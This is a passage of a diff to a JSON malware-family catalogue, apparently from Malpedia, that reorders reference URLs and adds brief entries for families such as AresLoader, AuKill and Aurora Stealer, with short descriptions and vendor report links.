"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity", + "https://blog.avast.com/andromeda-under-the-microscope", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://www.trellix.com/en-us/about/newsroom/stories/research/cyberattacks-targeting-ukraine-increase.html", + "https://www.europol.europa.eu/newsroom/news/andromeda-botnet-dismantled-in-international-cyber-operation", "http://blog.morphisec.com/andromeda-tactics-analyzed", - "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + "https://www.virusbulletin.com/virusbulletin/2018/02/review-evolution-andromeda-over-years-we-say-goodbye/", + "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", + "https://www.virusbulletin.com/virusbulletin/2013/08/andromeda-2-7-features", + "https://www.crowdstrike.com/blog/how-to-remediate-hidden-malware-real-time-response/", + "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", + "http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/", + "https://eternal-todo.com/blog/andromeda-gamarue-loves-json", + "http://resources.infosecinstitute.com/andromeda-bot-analysis-part-two/" ], "synonyms": [ "B106-Gamarue", @@ -12179,15 +12913,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromut", - "https://www.proofpoint.com/us/threat-insight/post/ta505-begins-summer-campaigns-new-pet-malware-downloader-andromut-uae-south", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/", "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/", + "https://www.proofpoint.com/us/threat-insight/post/ta505-begins-summer-campaigns-new-pet-malware-downloader-andromut-uae-south", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://intel471.com/blog/a-brief-history-of-ta505", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://documents.trendmicro.com/assets/Tech-Brief-Latest-Spam-Campaigns-from-TA505-Now-Using-New-Malware-Tools-Gelup-and-FlowerPippi.pdf" ], "synonyms": [ @@ -12203,11 +12937,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anel", - "https://www.secureworks.com/research/threat-profiles/bronze-riverside", "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", - "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Haruyama.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-adds-updated-tools-to-its-arsenal/", "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-adds-updated-tools-to-its-arsenal/" + "https://www.secureworks.com/research/threat-profiles/bronze-riverside", + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Haruyama.pdf" ], "synonyms": [ "UPPERCUT", @@ -12215,15 +12949,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "588b97ff-3434-4aa1-a5fd-815e1bb0178b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a180afcc-d42d-4600-b70f-af27aaf851b7", "value": "Anel" }, @@ -12260,10 +12985,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anubis", - "https://cybleinc.com/2021/05/02/mobile-malware-app-anubis-strikes-again-continues-to-lure-users-disguised-as-a-fake-antivirus/", "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://therecord.media/russian-hacker-pavel-sitnikov-arrested-for-sharing-malware-source-code/", - "https://twitter.com/MsftSecIntel/status/1298752223321546754" + "https://twitter.com/MsftSecIntel/status/1298752223321546754", + "https://cybleinc.com/2021/05/02/mobile-malware-app-anubis-strikes-again-continues-to-lure-users-disguised-as-a-fake-antivirus/", + "https://therecord.media/russian-hacker-pavel-sitnikov-arrested-for-sharing-malware-source-code/" ], "synonyms": [ "Anubis Stealer" @@ -12279,10 +13004,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anubis_loader", "https://www.zerofox.com/blog/meet-kraken-a-new-golang-botnet-in-development/", + "https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e", "https://www.zerofox.com/blog/quick-update-kraken-completes-its-rebrand-to-anubis/", - "https://windowsreport.com/kraken-botnet/", "https://www.bleepingcomputer.com/news/security/new-golang-botnet-empties-windows-users-cryptocurrency-wallets/", - "https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e" + "https://windowsreport.com/kraken-botnet/" ], "synonyms": [ "Kraken", @@ -12293,6 +13018,19 @@ "uuid": "e65ca164-f448-4f8e-a672-3ff7ec37e191", "value": "Anubis Loader" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.aperetif", + "https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "573eb306-f6c7-4ba9-91a9-881473d335b8", + "value": "APERETIF" + }, { "description": "", "meta": { @@ -12319,16 +13057,30 @@ "uuid": "e87d9df4-b464-4458-ae1f-31cea40d5f96", "value": "Apocalypse" }, + { + "description": "This is an implant usable with the Mythic C2 framework. Apollo is a Windows agent written in C# using the 4.0 .NET Framework designed to be used in SpecterOps training offerings.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.apollo", + "https://github.com/MythicAgents/Apollo" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f995662c-27ad-440b-97ce-f1ecd2b59221", + "value": "Apollo" + }, { "description": "Malware used by suspected Iranian threat actor Agrius, turned from wiper into ransomware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.apostle", - "https://www.sentinelone.com/labs/new-version-of-apostle-ransomware-reemerges-in-targeted-attack-on-higher-education/", - "https://cyberpunkleigh.wordpress.com/2021/05/27/apostle-ransomware-analysis/", + "https://www.welivesecurity.com/2022/12/07/fantasy-new-agrius-wiper-supply-chain-attack/", + "https://www.sentinelone.com/wp-content/uploads/2021/05/SentinelLabs_From-Wiper-to-Ransomware-The-Evolution-of-Agrius.pdf", "https://assets.sentinelone.com/sentinellabs/evol-agrius", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://www.sentinelone.com/wp-content/uploads/2021/05/SentinelLabs_From-Wiper-to-Ransomware-The-Evolution-of-Agrius.pdf" + "https://www.sentinelone.com/labs/new-version-of-apostle-ransomware-reemerges-in-targeted-attack-on-higher-education/", + "https://cyberpunkleigh.wordpress.com/2021/05/27/apostle-ransomware-analysis/" ], "synonyms": [], "type": [] @@ -12341,17 +13093,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.applejeus", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", - "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", - "https://www.telsy.com/download/5394/?uid=28b0a4577e", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c", - "https://www.vkremez.com/2019/10/lets-learn-dissecting-lazarus-windows.html", + "https://blog.sekoia.io/the-dprk-delicate-sound-of-cyber/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", + "https://www.telsy.com/download/5394/?uid=28b0a4577e", + "https://www.vkremez.com/2019/10/lets-learn-dissecting-lazarus-windows.html", + "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", "https://twitter.com/VK_Intel/status/1182730637016481793" ], "synonyms": [], @@ -12365,22 +13120,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.appleseed", - "https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf", - "https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf", "https://www.boho.or.kr/filedownload.do?attach_file_seq=2652&attach_file_id=EpF2652.pdf", - "https://www.youtube.com/watch?v=Dv2_DK3tRgI", - "https://conference.hitb.org/hitbsecconf2021ams/materials/D2T1%20-%20The%20Phishermen%20-%20Dissecting%20Phishing%20Techniques%20of%20CloudDragon%20APT%20-%20Linda%20Kuo%20&Zih-Cing%20Liao%20.pdf", - "https://www.telsy.com/download/5654/?uid=4869868efd", - "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf", - "https://www.youtube.com/watch?v=rfzmHjZX70s", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/", "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", - "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2651.pdf", - "https://asec.ahnlab.com/en/30532/", + "https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf", + "https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/", "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2652.pdf", + "https://www.youtube.com/watch?v=rfzmHjZX70s", + "https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf", "https://asec.ahnlab.com/ko/26705/", - "https://asec.ahnlab.com/ko/36918/" + "https://asec.ahnlab.com/en/36368/", + "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf", + "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2651.pdf", + "https://www.telsy.com/download/5654/?uid=4869868efd", + "https://asec.ahnlab.com/en/30532/", + "https://asec.ahnlab.com/ko/36918/", + "https://asec.ahnlab.com/en/41015/", + "https://conference.hitb.org/hitbsecconf2021ams/materials/D2T1%20-%20The%20Phishermen%20-%20Dissecting%20Phishing%20Techniques%20of%20CloudDragon%20APT%20-%20Linda%20Kuo%20&Zih-Cing%20Liao%20.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.youtube.com/watch?v=Dv2_DK3tRgI" ], "synonyms": [ "JamBog" @@ -12395,8 +13152,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ardamax", - "https://medium.com/@MalFuzzer/dissecting-ardamax-keylogger-f33f922d2576", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf" + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://medium.com/@MalFuzzer/dissecting-ardamax-keylogger-f33f922d2576" ], "synonyms": [], "type": [] @@ -12431,12 +13188,30 @@ "uuid": "a711ad02-0120-41a1-8c03-8a857a7dc297", "value": "Ares (Windows)" }, + { + "description": "AresLoader is a new malware \"downloader\" that has been advertised on some Russian language Dark Web forums “RAMP and \"XSS\" by a threat actor called \"DarkBLUP\". Researchers assess this loader is likely a legitimate penetration testing tool that is now being abused by threat actors. This is because of a similar project, dubbed “Project Ares,” was previously uploaded to GitHub as a proof-of-concept (PoC) by the well-regarded user and red teamer “CerberSec.”\r\n\r\nThe loader mimics legitimate software to trick victims into executing malware with administrator rights on their machines. Additional features of the loader include:\r\n\r\n1. Written in C/C++\r\n2. Supports 64-bit payloads\r\n3. Makes it look like malware spawned by another process\r\n4. Prevents non-Microsoft signed binaries from being injected into malware\r\n5. Hides suspicious imported Windows APIs\r\n6. Leverages anti-analysis techniques to avoid reverse engineering\r\n\r\nFurthermore, It was observed that SystemBC, Amadey, and several Raccoon Stealers were directly installing AresLoader. To date, the AresLoader downloader has been seen delivering payloads like SystemBC, Lumma Stealer, StealC, Aurora Stealer, and Laplas Clipper.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.aresloader", + "https://intel471.com/blog/new-loader-on-the-bloc-aresloader", + "https://research.openanalysis.net/ares/aresloader/loader/2023/04/02/aresloader.html", + "https://flashpoint.io/blog/private-malware-for-sale-aresloader/", + "https://twitter.com/k3dg3/status/1636873721200746496", + "https://www.zerofox.com/blog/the-underground-economist-volume-2-issue-24/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1bd6c2ab-341e-43e1-90ca-2e7509828268", + "value": "AresLoader" + }, { "description": "During a campaign against a Ukrainian energy provider, a new loader of a new version of CaddyWiper called \"ArguePatch\" was observed by ESET researchers. ArguePatch is a modified version of Hex-Ray's Remote Debugger Server (win32_remote.exe).\r\nArguePatch expects a decryption key and the file of the CaddyWiper shellcode as command line parameters.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.arguepatch", - "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/" + "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", + "https://www.mandiant.com/resources/blog/gru-rise-telegram-minions" ], "synonyms": [], "type": [] @@ -12450,9 +13225,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ariabody", "https://medium.com/insomniacs/aria-body-loader-is-that-you-53bdd630f8a1", + "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", "https://securelist.com/it-threat-evolution-q2-2020/98230", - "https://securelist.com/naikons-aria/96899/", - "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/" + "https://securelist.com/naikons-aria/96899/" ], "synonyms": [], "type": [] @@ -12466,6 +13241,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.aridgopher", "https://www.deepinstinct.com/blog/arid-gopher-the-newest-micropsia-malware-variant", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/mantis-palestinian-attacks", "https://www.theregister.com/2022/03/22/arid-gopher-malware-deep-instinct/" ], "synonyms": [], @@ -12507,14 +13283,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer", - "https://blogs.blackberry.com/en/2022/02/threat-thursday-arkei-infostealer", + "https://isc.sans.edu/diary/rss/28468", + "https://ke-la.com/information-stealers-a-new-landscape/", "https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://blog.minerva-labs.com/a-long-list-of-arkei-stealers-browser-crypto-wallets", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://threatmon.io/arkei-stealer-analysis-threatmon/", "https://forensicitguy.github.io/analyzing-stealer-msi-using-msitools/", "https://www.bleepingcomputer.com/news/security/hacker-breaches-syscoin-github-account-and-poisons-official-client/", - "https://ke-la.com/information-stealers-a-new-landscape/", - "https://isc.sans.edu/diary/rss/28468" + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://blogs.blackberry.com/en/2022/02/threat-thursday-arkei-infostealer", + "https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468", + "https://blog.minerva-labs.com/a-long-list-of-arkei-stealers-browser-crypto-wallets", + "https://drive.google.com/file/d/1wTH-BZrjxEBZwCnXJ3pQWGB7ou0IoBEr/view" ], "synonyms": [ "ArkeiStealer" @@ -12524,13 +13304,26 @@ "uuid": "59eff508-7f26-4fd8-b526-5772a9f3d9a6", "value": "Arkei Stealer" }, + { + "description": "It is available as a service, purchasable by anyone to use in their own campaigns. It’s features are generally fairly typical of a RAT, with its most notable aspect being the hVNC module which basically gives an attacker full remote access with minimal need for technical knowledge to use it.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.arrowrat", + "https://www.arrowrat.com" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3d5608dc-1e0d-40cb-8a17-3a8d7efb1c53", + "value": "ArrowRAT" + }, { "description": "ARS Loader, also known as ARS VBS Loader, is written in Visual Basic Script and its main purpose is to control an infected machine via different available commands, acting as a remote access trojan (RAT). Its code is based on ASPC, another Visual Basic Script malware, which at the same time seems to be based on SafeLoader.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ars_loader", - "https://twitter.com/Racco42/status/1001374490339790849", "https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/", + "https://twitter.com/Racco42/status/1001374490339790849", "https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/" ], "synonyms": [], @@ -12558,13 +13351,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.artra", - "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/", - "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english", "https://www.freebuf.com/articles/database/192726.html", - "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", - "https://securelist.com/apt-trends-report-q1-2021/101967/", - "https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/" + "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/", + "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", + "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english", + "https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/", + "https://securelist.com/apt-trends-report-q1-2021/101967/" ], "synonyms": [], "type": [] @@ -12615,8 +13408,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox", "https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign", - "https://researchcenter.paloaltonetworks.com/2015/08/whats-next-in-malware-after-kuluoz/", - "http://oalabs.openanalysis.net/2014/12/04/inside-the-new-asprox-kuluoz-october-2013-january-2014/" + "http://oalabs.openanalysis.net/2014/12/04/inside-the-new-asprox-kuluoz-october-2013-january-2014/", + "https://researchcenter.paloaltonetworks.com/2015/08/whats-next-in-malware-after-kuluoz/" ], "synonyms": [ "Aseljo", @@ -12632,8 +13425,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.asruex", - "https://blog.trendmicro.com/trendlabs-security-intelligence/asruex-backdoor-variant-infects-word-documents-and-pdfs-through-old-ms-office-and-adobe-vulnerabilities/", - "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html" + "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/asruex-backdoor-variant-infects-word-documents-and-pdfs-through-old-ms-office-and-adobe-vulnerabilities/" ], "synonyms": [], "type": [] @@ -12646,21 +13439,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.astaroth", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://isc.sans.edu/diary/Brazil+malspam+pushes+Astaroth+%28Guildma%29+malware/28962", - "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf", - "https://www.microsoft.com/security/blog/2020/03/23/latest-astaroth-living-off-the-land-attacks-are-even-more-invisible-but-not-less-observable/", - "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", - "https://blog.easysol.net/meet-lucifer-international-trojan/", - "https://labs.f-secure.com/blog/attack-detection-fundamentals-code-execution-and-persistence-lab-1/", - "https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/", - "https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/", "https://blog.talosintelligence.com/2020/05/astaroth-analysis.html", - "https://isc.sans.edu/diary/27482", - "https://github.com/pan-unit42/tweets/blob/master/2022-01-17-IOCs-for-Astaroth-Guildma-infection.txt", "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", - "https://www.armor.com/resources/threat-intelligence/astaroth-banking-trojan/" + "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf", + "https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/", + "https://www.microsoft.com/security/blog/2020/03/23/latest-astaroth-living-off-the-land-attacks-are-even-more-invisible-but-not-less-observable/", + "https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/", + "https://isc.sans.edu/diary/Brazil+malspam+pushes+Astaroth+%28Guildma%29+malware/28962", + "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://www.armor.com/resources/threat-intelligence/astaroth-banking-trojan/", + "https://github.com/pan-unit42/tweets/blob/master/2022-01-17-IOCs-for-Astaroth-Guildma-infection.txt", + "https://blog.easysol.net/meet-lucifer-international-trojan/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://isc.sans.edu/diary/27482", + "https://labs.f-secure.com/blog/attack-detection-fundamentals-code-execution-and-persistence-lab-1/" ], "synonyms": [ "Guildma" @@ -12675,10 +13468,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.astralocker", - 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"https://quoscient.io/reports/QuoINT_INTBRI_New_ATMSpitter.pdf", "https://quoscient.io/reports/QuoINT_INTBRI_ATMSpitter_v2.pdf" ], "synonyms": [], @@ -12858,14 +13664,14 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.atomsilo", "https://chuongdong.com//reverse%20engineering/2021/10/13/AtomSiloRansomware/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/", - "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", - "https://chuongdong.com/reverse%20engineering/2021/10/13/AtomSiloRansomware/", "https://decoded.avast.io/threatintel/decryptor-for-atomsilo-and-lockfile-ransomware/", - "https://twitter.com/siri_urz/status/1437664046556274694?s=20", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", "https://www.zscaler.com/blogs/security-research/atomsilo-ransomware-enters-league-double-extortion", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" + "https://chuongdong.com/reverse%20engineering/2021/10/13/AtomSiloRansomware/", + "https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://twitter.com/siri_urz/status/1437664046556274694?s=20" ], "synonyms": [], "type": [] @@ -12878,11 +13684,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.attor", - "https://www.unian.ua/science/10717107-mizhnarodna-it-kompaniya-poperedzhaye-pro-nizku-shpigunskih-atak-na-uryadovi-ta-diplomatichni-ustanovi-shidnoji-yevropi.html", + "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf", "https://threatpost.com/sophisticated-spy-kit-russians-gsm-plugin/149095/", + "https://www.unian.ua/science/10717107-mizhnarodna-it-kompaniya-poperedzhaye-pro-nizku-shpigunskih-atak-na-uryadovi-ta-diplomatichni-ustanovi-shidnoji-yevropi.html", + "https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", "https://safe.cnews.ru/news/top/2019-10-11_za_rossijskimi_diplomatami", "https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform", - "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf", "https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform/", "https://www.zdnet.com/article/new-espionage-malware-found-targeting-russian-speaking-users-in-eastern-europe/" ], @@ -12906,6 +13714,21 @@ "uuid": "2ee0122a-701d-487d-9ac1-7d91e4f99d78", "value": "August Stealer" }, + { + "description": "According to Sophos, the AuKill tool abuses an outdated version of the driver used by version 16.32 of the Microsoft utility, Process Explorer, to disable EDR processes before deploying either a backdoor or ransomware on the target system.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.aukill", + "https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/" + ], + "synonyms": [ + "SophosKill" + ], + "type": [] + }, + "uuid": "07bd266b-811a-4abe-83b3-471918d6fab4", + "value": "AuKill" + }, { "description": "", "meta": { @@ -12918,15 +13741,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "316c87d4-4404-42ab-9887-f9e321aed93c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e3065e43-503b-4496-921b-7601dd3d6abd", "value": "Auriga" }, @@ -12935,71 +13749,83 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora", - "https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/", + "https://www.bleepingcomputer.com/ransomware/decryptor/how-to-decrypt-the-aurora-ransomware-with-auroradecrypter/", "https://twitter.com/malwrhunterteam/status/1001461507513880576", - "https://www.bleepingcomputer.com/ransomware/decryptor/how-to-decrypt-the-aurora-ransomware-with-auroradecrypter/" + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/", + "https://blog.morphisec.com/in2al5d-p3in4er" ], "synonyms": [ "OneKeyLocker" ], "type": [] }, - "related": [ - { - "dest-uuid": "70c31066-237a-11e8-8eff-37ef1ad0c703", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "2f899e3e-1a46-43ea-8e68-140603ce943d", "value": "Aurora" }, + { + "description": "First advertised as a Malware-as-a-Service (MaaS) on Russian-speaking underground forums in April 2022, Aurora Stealer is a Golang-based information stealer with downloading and remote access capabilities. The malware targets data from multiple browsers, cryptocurrency wallets, local systems, and act as a loader. During execution, the malware runs several commands through WMIC to collect basic host information, snaps a desktop image, and exfiltrates data to the C2 server within a single base64-encoded JSON file.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora_stealer", + "https://d01a.github.io/aurora-stealer/", + "https://research.loginsoft.com/threat-research/aurora-the-dark-dawn-and-its-menacing-effects/", + 